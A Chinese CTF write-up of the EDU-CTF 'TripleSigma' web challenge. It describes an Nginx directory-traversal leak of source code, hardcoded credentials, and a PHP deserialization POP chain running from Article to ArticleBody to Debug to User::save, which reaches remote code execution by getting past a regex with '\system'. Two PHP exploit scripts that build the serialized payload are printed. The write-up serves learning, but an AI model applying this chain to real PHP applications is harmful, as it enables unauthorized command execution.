EDU-CTF TripleSigma題解
- 2019 年 10 月 8 日
- 筆記
EDU-CTF是台大、交大、台科大三個學校的校賽,題目感覺都不錯。TripleSigma這道題的反序列化POP鏈很有意思,官方wp寫的很簡單,在這裡分析一下。 題目地址:http://final.kaibro.tw:10004/(需要梯zi)
資訊搜集
打開是一個部落格頁面,註冊功能被關掉了,目錄也掃不出來東西。 根據報錯頁面可以知道後端是Nginx

眾所周知Nginx會由於配置錯誤產生很多安全問題,可以參考p牛文章:三個案例看Nginx配置安全 比如這裡就存在目錄穿越漏洞,從而可以下載網站源碼。


程式碼審計
網站的源碼文件很多, lib
文件夾下是各種功能的模組文件。根目錄下的每個文件都包含了所有模組。首先查看註冊和登陸源碼,註冊程式碼基本沒用。 login.php
<?php session_start(); if(isset($_POST['user']) && isset($_POST['pass'])) { $user = $_POST['user']; $pass = $_POST['pass']; if(User::check($user, $pass)) { $_SESSION['user'] = User::getIDByName($user); $wrong = false; header("Location: index.php"); } else { $wrong = true; } } ?>
跟進 User
模組 class_user.php
<?php class User { public $func = "shell_exec"; public $data = NULL; public static function getAllUser() { $users = array(array('id' => 1, 'name' => 'kaibro', 'password' => 'easypeasy666')); return $users; } public static function getNameByID($id) { $users = User::getAllUser(); for($i = 0; $i < count($users); $i++) { if($users[$i]['id'] === $id) { return $users[$i]['name']; } } return NULL; } public static function getIDByName($name) { $users = User::getAllUser(); for($i = 0; $i < count($users); $i++) { if($users[$i]['name'] === $name) { return $users[$i]['id']; } } return NULL; } public static function check($name, $password) { $users = User::getAllUser(); for($i = 0; $i < count($users); $i++) { if($users[$i]['name'] === $name && $users[$i]['password'] === $password) return true; } return false; } public function save() { if(!isset($this->data)) $this->data = User::getAllUser(); if(preg_match("/^[a-z]/is", $this->func)) { if($this->func === "shell_exec") { # ($this->func)("echo " . escapeshellarg($this->data) . " > /tmp/result"); } } else { # ($this->func)($this->data); } } public static function getFunc() { return $this->func; } }
可以看到 check
方法把登陸的用戶名密碼與 getAllUser
方法的數組進行對比,有相同的值就返回True。因此我們直接用源碼中的 kaibro
和 easypeasy666
登陸即可。 另外在 cookie
模組中發現一處任意反序列化

尋找POP Chain
在 blog.php
中如果存在 $_COOKIE['e']
,則會實例化cookie對象,並且可以觸發任意反序列化對象的 __tostring
方法

user
模組的 save
方法雖然對 shell_exec
的參數進行了 escapeshellarg
處理,且要求自定義函數名開頭不能為字母,但是我們可以通過php全局命名空間 進行繞過,

進入 else
條件中進行RCE。
public function save() { if(!isset($this->data)) $this->data = User::getAllUser(); if(preg_match("/^[a-z]/is", $this->func)) { if($this->func === "shell_exec") { ($this->func)("echo " . escapeshellarg($this->data) . " > /tmp/result"); } } else { ($this->func)($this->data); }
構造exp(這裡我在本地測試了,因為發現題目有問題。)
<?php include("lib/class_cookie.php"); include("lib/class_user.php"); include("lib/class_debug.php"); $A = new Debug(); $A->fm = new User(); $A->fm->func = "\system"; $A->fm->data = "dir"; echo strrev(base64_encode("1|".serialize($art)));
測試失敗,而官方給的exp卻可以
<?php include("lib/class_article.php"); include("lib/class_articlebody.php"); include("lib/class_cookie.php"); include("lib/class_user.php"); include("lib/class_debug.php"); include("lib/class_filemanager.php"); $title = new Debug(); $title->fm = new User(); $title->fm->func = "\system"; $title->fm->data = "dir"; $content = "foo"; $body = new ArticleBody($title, $content); $art = new Article("foo", "bar"); $art->body = $body; echo strrev(base64_encode("1|".serialize($title)));

它這裡把 Debug
類的序列化對象傳給了 ArticleBody
的 $title
屬性,然後 ArticleBody
類的序列化對象又傳給了 Article
對象的 $body
屬性。 跟第一次測試的思路一樣,觸發 Article
對象的 __tostring
方法

從而又觸發了 ArticleBody
對象的 __tostring
方法

而它的 $title
屬性為 Debug
,從而又觸發其 __tostring
方法調用我們傳入的 User
對象的 save()
方法構成RCE。
尋找測試失敗原因
想了很久才發現是printtitle()函數的問題。

一直以為他會直接列印字元串,從而觸發 __tostring
。哪裡會想到它echo的是 $r->body->title
在libcommon.php第99行。
function print_title($r) { if(isset($r)) { echo $r->body->title; } }
那麼官方的exp就是直接觸發 Debug
的 __toString
方法了,沒有那麼複雜了,2333感覺好坑啊。
後記
以後讀程式碼一定要仔細認真,不忽略任何一個點,不然要繞大彎路。